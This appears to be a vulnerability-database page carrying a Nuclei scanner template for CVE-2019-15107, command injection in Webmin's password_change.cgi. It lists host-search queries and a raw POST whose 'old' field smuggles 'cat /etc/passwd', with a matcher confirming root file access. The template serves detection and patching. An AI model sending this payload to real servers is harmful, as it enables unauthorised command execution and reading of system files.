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Webmin <= 1.920 - Unauthenticated Remote Command Execution

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
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Webmin <=1.920 unauthenticated remote command execution via 'old' parameter in password_change.cgi allowing root privilege escalatio

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id: CVE-2019-15107

info:
  name: Webmin <= 1.920 - Unauthenticated Remote Command Execution
  author: bp0lr
  severity: critical
  description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with root privileges.
  remediation: |
    Upgrade to Webmin version 1.930 or later to mitigate this vulnerability.
  reference:
    - https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15107
    - https://www.exploit-db.com/exploits/47230
    - http://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
    - http://packetstormsecurity.com/files/154485/Webmin-1.920-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-15107
    cwe-id: CWE-78
    epss-score: 0.99766
    epss-percentile: 0.99955
    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webmin
    product: webmin
    shodan-query: http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2019,packetstorm,webmin,rce,kev,edb,vkev,vuln

http:
  - raw:
      #
      - |
        POST /password_change.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Referer: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 490a004630440220594da83e1095bf29e22a2c3da0c703b7264bedb87a3a5bc581467dc3728b1395022010eed558c1306b083bfb912f979a8400fc0b13aa1b54b55d73f40f43932de726:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
CVSS 210
EPSS0.99766
SSVC
160